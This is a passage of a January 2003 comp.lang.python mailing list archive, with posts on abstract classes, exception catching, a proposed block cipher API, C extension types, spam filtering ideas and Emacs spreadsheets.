that's only side effect.  They'll be happy if *you* can filter all the
spam out and stop complaining about it.  Until 99% of all e-mails is
spam, your CPU and network connection get overloaded and you get annoyed
by spam again, of course.

Milan Zamazal

-- 
Todays marketing hype top-list report:
http://www.google.com/search?q=attract+best+build+business+component+deploy+embed+feature+framework+free+highest+industry+integration+ISV+Java+manage+most+MVC+.NET+newsletter+OEM+performance+platform+portable+rapid+ready+scalable+secure+SOAP+solution+special+support+technology+Web+XML



From cnetzer at mail.arc.nasa.gov  Mon Jan 13 17:17:25 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Mon, 13 Jan 2003 14:17:25 -0800
Subject: pure virtual functions in python
In-Reply-To: <3E21FC97.F4E03A1B@alcyone.com>
References: <avrto1$gdk$1@news-reader10.wanadoo.fr> <3E21FC97.F4E03A1B@alcyone.com>
Message-ID: <200301132217.OAA06140@mail.arc.nasa.gov>

> 	class AbstractSomething:
> 	    def __init__(self, ...):
> 	        if self.__class__ is AbstractSomething:
> 	            raise NotImplementedError
> 	        ...
>
> 	class ConcreteSomething(AbstractSomething):
> 	    def __init__(self, ...):
> 	        AbstractSomething.__init__(self, ...)
>
> This will prevent people from creating AbstractSomethings directly,
> but they'll have no problem calling the AbstractSomething.__init__
> method from a subclass.

Awesome.  I was doing this by using a separate initializing method, but 
your version has some real advantages.  Thanks for the great idea 
(simple and elegant; no wonder I missed it. :).

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From phr-n2003b at NOSPAMnightsong.com  Fri Jan 24 19:58:44 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 24 Jan 2003 16:58:44 -0800
Subject: Sandboxing [Was Re: killing thread ?]
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <3E315C41.35348508@engcorp.com> <7xvg0ebl5j.fsf@ruckus.brouhaha.com> <20030124174424.GA15614@meson.dyndns.org> <mailman.1043432149.5693.python-list@python.org> <JpGdnVkyFJjvUayjXTWcqA@comcast.com>
Message-ID: <7xn0lq3v0b.fsf@ruckus.brouhaha.com>

"Terry Reedy" <tjreedy at udel.edu> writes:
> > > Bastion ever protected you against "while 1: pass"
> 
> Hmmm.  Disable 'while': force use of for loops, and limit list
> lengths, and recursion depth and ....

Recursion depth is already limited.  Normally you handle infinite
loops by having the interpreter count the bytecodes it executes,
and stop after some limit.



From op73418 at mail.telepac.pt  Thu Jan 30 19:10:16 2003
From: op73418 at mail.telepac.pt (Gonçalo Rodrigues)
Date: Fri, 31 Jan 2003 00:10:16 +0000
Subject: Which exception has been used? (was: Which exception to use?)
References: <b16lui$j3s$1@bob.news.rcn.net> <mailman.1043786834.24179.python-list@python.org> <7h3y954ywdw.fsf@pc150.maths.bris.ac.uk> <v3jak3of0o8ga2@corp.supernews.com>
Message-ID: <qjfj3vg9spmf9pfvnnl9uj8odj8pobn9kn@4ax.com>

On Thu, 30 Jan 2003 22:43:15 -0000, claird at lairds.com (Cameron Laird)
wrote:

[snip]

>One of my problems is that I don't know how to write
>"the default case".  When we see the above, I assume
>we all have in mind client code that looks like
> try:
>     myfunction()
> except SpecializedError, e:
>     something_special()
> except StandardError, e:
>     cope_somehow_with_this(e)
>
>Suppose, as is always true, though, that I'm dealing
>with modules not under my control.  How do I catch
>"other"?  There must be something I'm missing about
>the new type and exception systems, 'cause I don't 
>see a Pythonic way to write
>  ....
>  except OTHER, e:
>      # The foreign code threw an exception of
>      #    a type I don't recognize, but I need
>      #    to process/log/... 'e'.
>      cope(e)
>Yes, I can write
>  ....
>  except:
>      cope()
>but then I've lost the information I want in 'e'.

Does this solve your problem?

>>> try:
... 	raise TypeError("This is a whacky example!")
... except Exception, e:
... 	print e
... 	
This is a whacky example!
>>> 

Inheritance-works-with-exceptions-ly yours,
G. Rodrigues



From phr-n2003b at NOSPAMnightsong.com  Tue Jan 28 19:08:46 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 28 Jan 2003 16:08:46 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org>
Message-ID: <7xr8awg6lt.fsf@ruckus.brouhaha.com>

Chad Netzer <cnetzer at mail.arc.nasa.gov> writes:
>    Pardon me for asking Paul, but why the rush?

If not now, when?  If not me, who?  ;-)

Seriously, right now is early enough in the 2.3 release cycle to
submit a new library.  The idea is come up with something to submit
while it's STILL early enough.  And it's desirable to get some
reasonable crypto out there soon because there are applications
waiting to use it.

>    'Haste' and 'Cryptography toolkit implementation' are two phrases
>    that do not seem like they should go together.

This isn't really a "toolkit" (it doesn't do any complicated
protocols).  It's just a Python interface to modes of operation that
have been tried and true since NIST's predecessor first published DES
as a US federal standard in the 1970's.  It's not rocket science.  It
just Pythonizes what's already been done in numerous other languages
and it's hard to go too far wrong with it.

There are some ideas circulating for a higher level Python crypto
architecture and toolkit (sort of like the JCA) that should go through
the PEP process, but that's not what this is intended to be.  This is
low level.

>    I appreciate your enthusiasm, but I can't help but think, if you
>    are aiming to get this into the standard python distribution, that
>    you should be shooting for the NEXT version of python (say 2.4),
>    to let your interface and implementation have time to settle out.

Letting stuff settle out is precisely the purpose of the alpha and
beta release series, which is where we are in 2.3 right now.  That's
why I want to make the next alpha.  Also, this started several months
back, before the 2.3 cycle really began, though I ended up letting it
slide for a while.

I think there's enough time to get this right for 2.3, so I'm aiming
for 2.3 and trying to make it.  If it turns out not to make it in
time, that's ok, but I'd hope to aim for 2.3.1 next, rather than wait
for 2.4.

>    PEP 2 would seem to indicate that you will need to build 
>    some consensus to actually get your module accepted.
>
>    You seem to be responding (at least in part) to PEP 272, which has
>    an alternate design for a cryptography module (or modules).
>    Wouldn't it be best to respond to that PEP, and update it, or
>    perhaps put forth another PEP for people to consider?

If it helps, I'll assure you that I haven't been doing this in a
vacuum and that I didn't think all this up the day before yesterday.
The block cipher API topic has been discussed endlessly on the Python
crypto list (you should join that list if you're interested in the
subject).  Consensus there (including from the author of PEP 272)
seems to be that the current proposal is ok.  So you can think of this
scheme as coming from the python-crypto list and not just from me.
The purpose of posting to c.l.py was to get a little wider exposure
before freezing the API, but this was supposed to be the end of the
comment process, not the beginning.

Anyway, the mailing list proposals and discussions slipped into going
around in circles long ago, as such things do.  So we're at the point
of needing something concrete to test out and say yes or no to.  If
you have concrete suggestions for changes or improvements to the
module, please speak up with them.

>    Wouldn't it be best to respond to that PEP, and update it, or
>    perhaps put forth another PEP for people to consider?

Another PEP hasn't really felt necessary, given the discussion we've
already had on the crypto list.  Notice that PEP 272 is about what
functions codebook modules have to implement.  The current scheme, if
written as a PEP for codebook implementers, would be much simpler than
PEP 272 because the current codebook modules only have to implement
ECB mode.  So a new PEP would just be PEP 272 with the non-ECB modes
removed, pretty much.  Does anyone seriously think that's necessary?

Actually, a PEP may be appropriate for standardizing a C interface to
codebook modules, but right now it's too early to worry about that.

>    Also, there are other python cryptography toolkits, why should
>    yours be included and not theirs (especially when they've been
>    around longer, and probably have more users).  I'd hate to see
>    multiple toolkits put in just because everyone was too hasty for
>    the API to settle down and show its worth.

This isn't a "toolkit" (it doesn't do any complicated protocols like
SSL), but rather it's just an interface to some fairly low level
operations that are already very standard.  It seems easier to get
something like this accepted into Python than a fancier toolkit that
does more.  And getting these basic modes into the standard library
will allow writing toolkits in pure Python that implement most
standard protocols with reasonable performance.

>    In the mean time, I'd say get a place where people can publicly
>    discuss your module (I'll subscribe to python crypto mailing
>    list), and track revisions.  Also, get the test vectors included
>    and working, so you can make changes without fear of unknowingly
>    breaking the cipher.  And when you distribute a tar file, make
>    sure it untars into a subdirectory, not the directory of the tar
>    file (which is annoying, especially if the number of files grows large)

OK, thanks.  The Python crypto list is the appropriate discussion
forum.  You might want to look at the archives when you join.  Good
point about the tar file.

>    In any case, I haven't fooled around w/ cryptography since my Java days 
>    (when I did my graduate coursework in it), and now that there are some 
>    good Python alternatives, I might get back into it.  But you need to 
>    allow people time to use your module before you can get reasonable 
>    feedback on it (IMO).

Yes, that's precisely the goal here, in asking people to download it
and play with it.

Thanks

--Paul



From martin at v.loewis.de  Sun Jan 12 16:25:19 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 12 Jan 2003 22:25:19 +0100
Subject: How does a C API-function returns a list  to python
In-Reply-To: <20030112161133.28753.00000756@mb-fv.aol.com>
References: <3E21CB52.61543E67@imms.de> <20030112161133.28753.00000756@mb-fv.aol.com>
Message-ID: <3E21DD3F.9000507@v.loewis.de>

YarLevub wrote:
> The simplest way is to return a string containing the data and then use the
> array module to make it available to your Python program.

Do people really do such things?

Regards,
Martin




From cben at techunix.technion.ac.il  Mon Jan 20 10:34:08 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Mon, 20 Jan 2003 17:34:08 +0200
Subject: lots of similar classes?
In-Reply-To: <53ce2726.0301200637.611c2041@posting.google.com>
References: <53ce2726.0301200637.611c2041@posting.google.com>
Message-ID: <Pine.GSO.4.44_heb2.09.0301201732160.21739-100000@techunix.technion.ac.il>

On 2003-01-20, boncelet wrote:

> class Super:
> def __init__(self,name,lots_of_other_arguments):
>   self.name=name
>   <<set rest of arguments, etc>>
>
> class A(Super):
> def __init__(self,name='a',lots_of_other_arguments):
>   Super.__init__(self,name,lots_of_other_arguments)
>
> There will be lots of these, eg., A, B, C etc. Most of these will
> differ only in the name argument.In a few, I might want to use only
> a subset of the "other arguments".
>
> My problem is rewriting the "lot_of_other_arguments" over and over
> again seems wasteful, error-prone, and fragile.Is there a better
> way?
>
Besides using ``**kwargs``, if the only difference is the default value of
`name`, consider getting it from a class attribute (set in each subclass)
and not overriding __init__ at all.

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>

There is an Excel spreadsheet here.  Do you want to open it? y
There was a grid bug in the spreadsheet.  The grid bug bites.




From inyeol.lee at siimage.com  Mon Jan  6 23:33:10 2003
From: inyeol.lee at siimage.com (Inyeol Lee)
Date: Mon, 6 Jan 2003 20:33:10 -0800
Subject: renaming files
In-Reply-To: <3e1a5058_3@nopics.sjc>
References: <3e1a5058_3@nopics.sjc>
Message-ID: <20030107043310.GA6966@siliconimage.com>

On Mon, Jan 06, 2003 at 07:58:22PM -0800, Hilbert wrote:
> Hello,
> 
> I'm new to python and trying to learn the language by doing some everyday
> tasks in it.
> I wanted to convert the following simple csh script to python:
> 
> foreach i (test-????.*)
>   mv $i `echo $i | sed 's/test/final/'`
> end
> 

import glob, os

for src in glob.glob('test-????.*'):
    os.rename(src, src.replace('test', 'final'))




From tim.one at comcast.net  Sat Jan 18 17:28:12 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sat, 18 Jan 2003 17:28:12 -0500
Subject: 2.3 a1 idle.py vs. idle.pyw
In-Reply-To: <f7kW9.147252$Hs2.12751896@kent.svc.tds.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEBGDJAB.tim.one@comcast.net>

[Edward K. Ream]
> I just downloaded 2.3 a1 using the Windows installer.
>
> FYI:
>
> Running idle.pyw yields:

Exactly what do you do to run idle.pyw?

> Python 2.3a1 (#38, Dec 31 2002, 17:53:59) [MSC v.1200 32 bit (Intel)] on
> win32
> Type "copyright", "credits" or "license" for more information.
> IDLE 0.8 -- press F1 for help
>
> Running idle.py yields:

And exactly what do you do to run idle.py?  The solution to the discrepancy
will follow directly from your answere to those two questions.

> Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32
> Type "copyright", "credits" or "license" for more information.
> IDLE 0.8 -- press F1 for help

I can assure you the 2.3a1 installer doesn't install binaries for both 2.3a1
and 2.2.2 -- for starters, it's not big enough to hold both <wink>.

I'll show you exactly what I just did to run idle.py:

    C:\Python23>python tools\idle\idle.py

from a DOS box.  The IDLE that came up was (of course) for 2.3a1.





From ajs at ix.netcom.com  Sun Jan 19 13:01:20 2003
From: ajs at ix.netcom.com (Arthur)
Date: Sun, 19 Jan 2003 13:01:20 -0500
Subject: Distutils: Can I create an empty directory on target system?
Message-ID: <009701c2bfe4$c61e7a10$8c4a9a40@Arts>

Well if you can accept empty except for a blank __init__.py file you're OK,
I believe.

IOW, if the directory exists with an __init__.py file in it, it will be
created if
included in "packages = [...]"

Beyond that solution, can't say.

Art


>Is there an equivalent for producing emplt directories on the target
>system.
>I would like to precreate directories.
>Is this possible or is it considered the responsibility of the
>installed application to establish it's own environment?






From dale at riverhall.NOTHANKS.co.uk  Thu Jan 30 10:39:13 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Thu, 30 Jan 2003 15:39:13 +0000
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it>
Message-ID: <cahi3vkm5i73pfqvf0299ld3fj97gq6n9u@4ax.com>

Alex Martelli <aleax at aleax.it> wrote:


>How aslist is written is obviously quite secondary (at least,
>I _hope_ that's obvious...) -- all of its USES will be just as
>neat as the above example.
>
>If it turns out (as would seem to be the case) that what you
>need is actually an iterator (since you want to treat tuples
>as "lists", you ain't gonna be able to append, sort, &c
>anyway) then I'd name the auxiliary function "iteron" or
>something like that.  In my experience, what I generally
>want is:
>    treat strings, and all string-like objects, as non-sequences
>    otherwise, iterate directly on sequences and other iterables
>"other iterables" is debatable (files, dictionaries, ...) but
>that's how I've generally found things work best -- easy enough
>to tweak it to your liking otherwise.  So, for example:
>
>def iteron(something):
>    # string-like objects: treat as non-sequences
>    try: something+''
>    except TypeError: pass
>    else:
>        yield something
>        return
>    # other sequences
>    try:
>        for x in something: yield x
>    except TypeError:
>        yield something
>
>
>Alex

Thanks for that. I was hoping for something that didn't require an
extra module but I guess a single general purpose function wouldn't be
so bad.

--
Dale Strickland-Clark
Riverhall Systems Ltd



From martin at v.loewis.de  Sun Jan 12 06:06:17 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 12 Jan 2003 12:06:17 +0100
Subject: escaping illegal characters in XML
In-Reply-To: <b03e80d.0301111307.5755c41e@posting.google.com>
References: <b03e80d.0301110516.439825f0@posting.google.com> <b03e80d.0301111307.5755c41e@posting.google.com>
Message-ID: <3E214C29.5020903@v.loewis.de>

Sandy Norton wrote:
> doc.encoding = 'UTF-8'

Why do you think that setting an attribute named "encoding" should have 
any effect on the document?

> <?xml version="1.0" ?>
> <section>
> 	<item harvested="blah blah"/>
> </section>

Strictly speaking, this document *is* encoded in UTF-8: UTF-8 is the 
default if no encoding= attribute is given.

However, minidom normally won't support output in different encodings. 
In PyXML (and Python 2.3), the .tostring method of the document supports 
an optional encoding argument.

Regards,
Martin




From pinard at iro.umontreal.ca  Tue Jan 21 08:05:12 2003
From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois_Pinard?=)
Date: 21 Jan 2003 08:05:12 -0500
Subject: Python spreadsheet
In-Reply-To: <7h3r8b6kcnc.fsf@pc150.maths.bris.ac.uk>
References: <b0hi2e$jh0$1@news.tpi.pl>
	<pan.2003.01.20.20.16.38.910452@dynacare.com>
	<mailman.1043097209.31781.python-list@python.org>
	<uof6b0xq9.fsf@rk-speed-rugby.dk>
	<7h3r8b6kcnc.fsf@pc150.maths.bris.ac.uk>
Message-ID: <oqiswitzzr.fsf@titan.progiciels-bpi.ca>

[Michael Hudson]

> Brian Elmegaard <brian at rk-speed-rugby.dk> writes:

> > pinard at iro.umontreal.ca (Fran?ois Pinard) writes:
> > 
> > > For one, I like the `SES' (Simple Emacs Spreadsheet), it's more
> > > affordable than the usual monsters :-).
> > 
> > Wow, the one thing I believed didn't exist for emacs. (Of course, I am
> > quite na?ve.) 

> Heh?  I didn't *know* there was a spreadsheet for emacs, but I was
> downright *certain* there would be one out there somewhere...

I wanted a Python-able spreadsheet.  Gnumeric was presented as one of them,
but it is just too big for me, besides a good weight of attracting and
useful chrome.  It comes with its own, rather full language.  I would prefer
sticking with Python, as far as learning languages goes.

Having a spreadsheet integrated in my own usual editor, Emacs, was also
tempting.  As I wrote before, Pymacs provides me with the Pythonish link I
want to have handy if I ever need complex or flexible functions for
computing cells.  So, all considered, I went the Emacs way.  On the Emacs
spreadsheet side, before SES, I gave Dismal a try, but found it bigger than
what I need, it also had stability problems.  Table is useful for entering
tabular data, but is not designed as a spreadsheet, and lacks functionality
as such.  I am fairly satisfied with SES, and I may stretch SES for a while
before I feel its limits, which I guess might be a loss of speed when
handling very long spreadsheets.

Let me append a few (maybe oldish) random references and notes below. :-)


* Notes sur les chiffriers

.. Emacs

. : SES
    Jonathan Yavner <jyavner at engineer.com>
    http://mywebpages.comcast.net/jyavner/ses

    Dans `ses.el' remplacer un espace par quatre dans:
    ;;Leave room for the left-side fringe
    (push " " result))

. : Table
    <Takaaki.Ota at am.sony.com>
    http://table.sourceforge.net/

    table.el version 1.5.48, 2001-08-19

. : Esheet
    esheet.sourceforge.net
    dspeyere at users.sourceforge.net

    Liens bris??s, auteur hors circuit.

. : Dismal
    http://www.cs.nott.ac.uk/~mrh/uid/dismal.html
    http://www.psyc.nott.ac.uk/staff/ritter/papers/dismal/dismal.html
    ftp://ftp.nottingham.ac.uk/pub/lpzfr/dismal-1.4.tar.gz

    Compliqu??, un peu acad??mique.
    Rafra??chissement ??l??mentaire souvent d??fectueux.

    make
    dismal=~/local/share/emacs/21/dismal
    install -d $dismal
    install -m 644 *.elc log.el make-km-aliases.el $dismal

.. Spreadsheet
   Andrew Kuchling <akuchlin at mems-exchange.org>
   http://starship.python.net/crew/amk/python/unmaintained/spreadsheet.html

   Classe Python et interface curses.  Probl??me autour de `rexec'?

.. Gnumeric
   Miguel de Icaza
   http://www.gnome.org/gnumeric/
   http://cvs.gnome.org/lxr/source/gnumeric/doc/python-gnumeric.txt

   Foison de fonctions sp??cialis??es, probablement pour ressembler ?? Excell.
   Interface Python exp??rimental et non-document??.

-- 
Fran??ois Pinard   http://www.iro.umontreal.ca/~pinard




From peter at engcorp.com  Wed Jan  8 21:49:17 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 08 Jan 2003 21:49:17 -0500
Subject: global variable not seen (bug?)
References: <mailman.1042041138.4444.python-list@python.org> <3e1c5a33$1_1@nopics.sjc> <mailman.1042057221.18729.python-list@python.org> <1rhiva.l04.ln@beastie.ix.netcom.com>
Message-ID: <3E1CE32D.88E6F076@engcorp.com>

Dennis Lee Bieber wrote:
> 
> There is a second factor to account for. There is no access (or wasn't
> -- did 2.2 or 2.3 change that?) to intermediate levels. 

It would appear... see below, or http://www.amk.ca/python/2.1/ for
the definitive guide.

> PseudoPython
> a
> def p1
>         b
>         def p2
>                 c
>                 def p3
>                         d
>                         # I can only see d and a, and need global to change a

Actual Python, since 2.1:

Python 2.2.1 (#34, Apr  9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
Alternative ReadLine 1.5 -- Copyright 2001, Chris Gonnerman
>>> a = 5
>>> def p1():
...   b = 6
...   print a, b
...   def p2():
...     c = 7
...     print a, b, c
...     def p3():
...        d = 8
...        print a, b, c, d
...     p3()
...   p2()
...
>>> p1()
5 6
5 6 7
5 6 7 8
>>>

-Peter



From eppstein at ics.uci.edu  Wed Jan  1 18:43:35 2003
From: eppstein at ics.uci.edu (David Eppstein)
Date: Wed, 01 Jan 2003 15:43:35 -0800
Subject: Python vs. Ruby
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com> <mailman.1041382562.17669.python-list@python.org> <v15qgkgpq72tbf@news.supernews.com> <3759308d.0301011401.4b32deba@posting.google.com>
Message-ID: <eppstein-33F97D.15433501012003@news.service.uci.edu>

In article <3759308d.0301011401.4b32deba at posting.google.com>,
 rpgnmets at aol.com (Rob Renaud) wrote:

> So then the question becomes, why don't append(), sort(), reverse()
> return a new list and not modify the original?  Are mutable objects
> themselves a wart on the langauge?

There is a level of purity beyond which a language can become a pretty 
toy instead of a useful tool.

-- 
David Eppstein       UC Irvine Dept. of Information & Computer Science
eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/



From nhodgson at bigpond.net.au  Sat Jan 11 17:43:04 2003
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Sat, 11 Jan 2003 22:43:04 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <mailman.1042257199.7572.python-list@python.org> <%0TT9.121156$Hs2.11453314@kent.svc.tds.net> <v208b839c0990d@news.supernews.com> <xJZT9.121193$Hs2.11495249@kent.svc.tds.net>
Message-ID: <Y51U9.2255$UB4.11127@news-server.bigpond.net.au>

Edward K. Ream:
> If JIT's are so effective, why are the swing classes so slow?

   Library design, particularly the features, algorithms and data structures
chosen, is much more important than the underlying language interpretation
speed. You can see this in the different speeds of C++ GUI toolits on a
given platform. An example current performance issue is the slowdown
toolkits take on Linux/X for using Unicode - GTK+ 2 is quite a bit slower
than GTK+ 1.

   Neil





From phr-n2002b at NOSPAMnightsong.com  Mon Jan 13 10:26:00 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 13 Jan 2003 07:26:00 -0800
Subject: OT: spam filtering idea
Message-ID: <7xr8bhhy0n.fsf@ruckus.brouhaha.com>

Yeah there are better newsgroups for it, but this is where I hang out
and the subject has come up here.  I just thought of it after seeing
the "join our community" thing here on c.l.py.

Anyway, I wonder if the following is a worthwhile hack to improve
Bayesian filtering.  Maybe it's already being done--I haven't seen it
done quite this way, but I'm not a spam filtering guru.

The idea is to run the probability coefficients through a digital
filter, so the probabilities decay over time.  That is, you give
special emphasis to words found in RECENTLY RECEIVED spam.  If you get
message M with the words "banana", "elephant", and "doorknob", that
doesn't make M is especially likely to be spam.  But if you got a
piece of spam YESTERDAY with that combination of words, then M is
almost certainly also spam.  That lets you crank up the probabilities
for newly arrived spam words to considerably higher levels than you'd
trust in a quasi-static corpus (keep "elephant" high on your list for
too long and it may create false positives later).

The next step is to collect the frequency statistics at various
honeypots around the net, automatically combining them and transfering
them to public databases.  Your filter can then retrieve new
statistics over the net every few hours.  Any spam you receive will
probably also hit a honeypot at about the same time that you get it.
So since the statistics you've retrieved are weighted for the latest
and freshest spam, you should be able to kill it very effectively.

In case you get the spam faster than the honeypots do, you may not
want to immediately Bayes-filter all incoming mail into spam- and
non-spam folders.  Instead, you'd only immediately deliver mail from
addresses on your whitelist.  Anything else, you'd hold for say 6
hours, then run it through the Bayes filter for categorization.  Since
spam tends to be sent out in batches a few hours long, that delay
should be enough for the honeypots to receive it and update the
databases.

Thoughts?

Feel free to crosspost replies to an anti-spam newsgroup; I don't know
which one to use.



From kseehof at neuralintegrator.com  Thu Jan 30 17:33:52 2003
From: kseehof at neuralintegrator.com (Ken Seehof)
Date: Thu, 30 Jan 2003 14:33:52 -0800
Subject: Extension programming question (2.2)
Message-ID: <5.2.0.9.0.20030130134505.0290c4e8@pop.hurrah.com>

I am writing an extension type c_ni_object to be a base for
a class ni_object.  For some reason the type of an instance
of ni_object is actually c_ni_object.

 >>> class ni_object(c_ni_object):
...    pass

 >>> x = ni_object()
 >>> type(x)
<type 'c_ni_object'>

Presumably related to this, is another problem.  In the new()
function for c_ni_object, the 'type' argument is set to c_ni_object
when 'x' is instantiated as x = ni_object() (I'm expecting the type
to be ni_object).  This is important because I want my new()
function to know the derived class that is being instantiated.

When I experiment with built-in types such as int, I get the results
that I expect.  e.g.:

 >>> class pyint(int):
...    pass

 >>> n = pyint(5)
 >>> type(n)
<class 'PyCrust-Shell.pyint'>

Therefore I suspect that there is something wrong with my
c_ni_object code.  Any ideas?

Here's my code (stripped down and tested) which exhibits the
behavior described above:


#include "Python.h"

typedef struct {
	PyObject_HEAD
} c_ni_object__object;

staticforward PyTypeObject c_ni_object__type;     /* shared type-descriptor */

static PyObject *
c_ni_object__new(PyTypeObject *type, PyObject *args, PyObject *kwds)
{
     c_ni_object__object *self = PyObject_NEW(c_ni_object__object, 
&c_ni_object__type);
     return (PyObject *)self;
}

PyTypeObject c_ni_object__type = {
	PyObject_HEAD_INIT(&PyType_Type)
	0,                              // ob_size
	"c_ni_object",                  // tp_name
	sizeof(c_ni_object__object),    // tp_basicsize
	0,                              // tp_itemsize
	0, //(destructor)c_ni_object__dealloc,// tp_dealloc
	(printfunc)0,                   // tp_print
	0,//(getattrfunc)c_ni_object__getattr,// tp_getattr
	0,//(setattrfunc)c_ni_object__setattr,// tp_setattr
	(cmpfunc)0,                     // tp_compare
	0,//(reprfunc)c_ni_object__repr,    // tp_repr
	0,                              // tp_as_number
	0,                              // tp_as_sequence
	0,                              // tp_as_mapping
	(hashfunc)0,                    // tp_hash
	(ternaryfunc)0,                 // tp_call
	(reprfunc)0,                    // tp_str
	0,		/* tp_getattro */
	0,					/* tp_setattro */
	0,			/* tp_as_buffer */
	Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */
	"stripped down c_ni_object", // Documentation string
	0,					/* tp_traverse */
	0,					/* tp_clear */
	0,	/* tp_richcompare */
	0,					/* tp_weaklistoffset */
	0,					/* tp_iter */
	0,					/* tp_iternext */
	0, //c_ni_object__methods,				/* tp_methods */
	0,					/* tp_members */
	0,					/* tp_getset */
	0,					/* tp_base */
	0,					/* tp_dict */
	0,					/* tp_descr_get */
	0,					/* tp_descr_set */
	0,					/* tp_dictoffset */
	0,//(initproc)c_ni_object__init,					/* tp_init */
	0,					/* tp_alloc */
	c_ni_object__new,				/* tp_new */
};






From cnetzer at mail.arc.nasa.gov  Fri Jan 10 00:23:33 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Thu, 9 Jan 2003 21:23:33 -0800
Subject: try except bug
In-Reply-To: <20030110043101.M61567@pymail.net>
References: <mailman.1042070716.17019.python-list@python.org> <1042155370.1327.309.camel@emilio> <20030110043101.M61567@pymail.net>
Message-ID: <200301100523.VAA03276@mail.arc.nasa.gov>

On Thursday 09 January 2003 20:31, Gang Seong wrote:
> I think there is a bug in try-except clause.

nope

> Look at the following code.

> class MessageClass:
>     def __init__(self):
>         self.message = 'message'
>         self.duration = 10
>
> def f():
>     raise Exception, MessageClass()

In section 4.2 of the manual:
http://www.python.org/doc/current/ref/exceptions.html

"""
When an exception is raised, an object (maybe None) is passed as the 
exception's value; this object does not affect the selection of an 
exception handler, but is passed to the selected exception handler as 
additional information. For class exceptions, this object must be an 
instance of the exception class being raised.
"""

See also, section 2.3 in the python library reference manual.
http://www.python.org/doc/current/lib/module-exceptions.html

Basically, your object gets passed along to the args attribute of the 
generated value.  It is a side effect that your print statements 
printed the right types for the objects.  You would probably be better 
served to make your own subclass of Exception and use it to pass the 
values you want around.

The code below prints the expected '10', by grabbing the MessageClass 
object that you made from the args of the value passed to the exception.

It can be confusing, I agree.

~~~~~~~~~~~~~~~~
class MessageClass:
    def __init__(self):
        self.message = 'message'
        self.duration = 10

def f():
    m = MessageClass()
    print id( m )
    raise Exception, m

try:
    f()
except (Exception,), a:
    print a, type(a), id( a )
    print a.args[0], type(a.args[0]), id( a.args[0] )
    print a.args[0].duration


-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From andrew at indranet.co.nz  Sun Jan  5 06:29:10 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Mon, 06 Jan 2003 00:29:10 +1300
Subject: a new PEP?
In-Reply-To: <m3bs2w1sie.fsf@mira.informatik.hu-berlin.de>
References: <c09aca51.0301041334.f4c81d5@posting.google.com>
 <m3bs2w1sie.fsf@mira.informatik.hu-berlin.de>
Message-ID: <2086440000.1041766150@localhost.localdomain>


--On Saturday, January 04, 2003 23:04:25 +0100 "Martin v. L?wis" 
<martin at v.loewis.de> wrote:

> vm_usenet at yahoo.com (vm_usenet) writes:
>
>> What I'm proposing is to dump the current approach of static/global
>> variables in the python source and to make the python interpreter
>> state-oriented.
>
> Please understand that this can't be achieved through a proposal: Many
> existing C modules which are not part of the Python core use global
> variables as well. Somebody will have to change those modules -
> writing a PEP doesn't help.

Or one can change the module loader so the globals section of the module is 
linked into a different space, kind of like how Linux loads kernel modules. 
I don't know how you'd implement this on non-ELF platforms, though.

Andrew




From mwh at python.net  Fri Jan 24 13:06:43 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 24 Jan 2003 18:06:43 GMT
Subject: file locking on nfs?  expiring old mail messages?
References: <b0pve9$29q$1@news.service.uci.edu>
Message-ID: <7h37kcuxw0r.fsf@pc150.maths.bris.ac.uk>

strombrg at tesuji.nac.uci.edu (Dan Stromberg) writes:

> Does anyone have a python module that does procmail-style file locking
> in NFS volumes?

No, sorry.

> I'm working on a program to delete old messages from an mbox-formatted
> mailbox, and could use proper locking.  BTW, anybody already done this
> - expiring old mail, either in an mbox file, or over imap?

Gnus?

Cheers,
M.

-- 
  BUGS   Never use this function.  This function modifies its first
         argument.   The  identity  of  the delimiting character is
         lost.  This function cannot be used on constant strings.
                                    -- the glibc manpage for strtok(3)



From tdunn at lynxxsolutions.com  Sun Jan 26 07:27:17 2003
From: tdunn at lynxxsolutions.com (Tony Dunn)
Date: Sun, 26 Jan 2003 12:27:17 GMT
Subject: Slurping Web Pages
References: <J3BY9.2087$Ec.128@nwrddc02.gnilink.net>
Message-ID: <FuQY9.5691$qb1.2425@nwrddc01.gnilink.net>

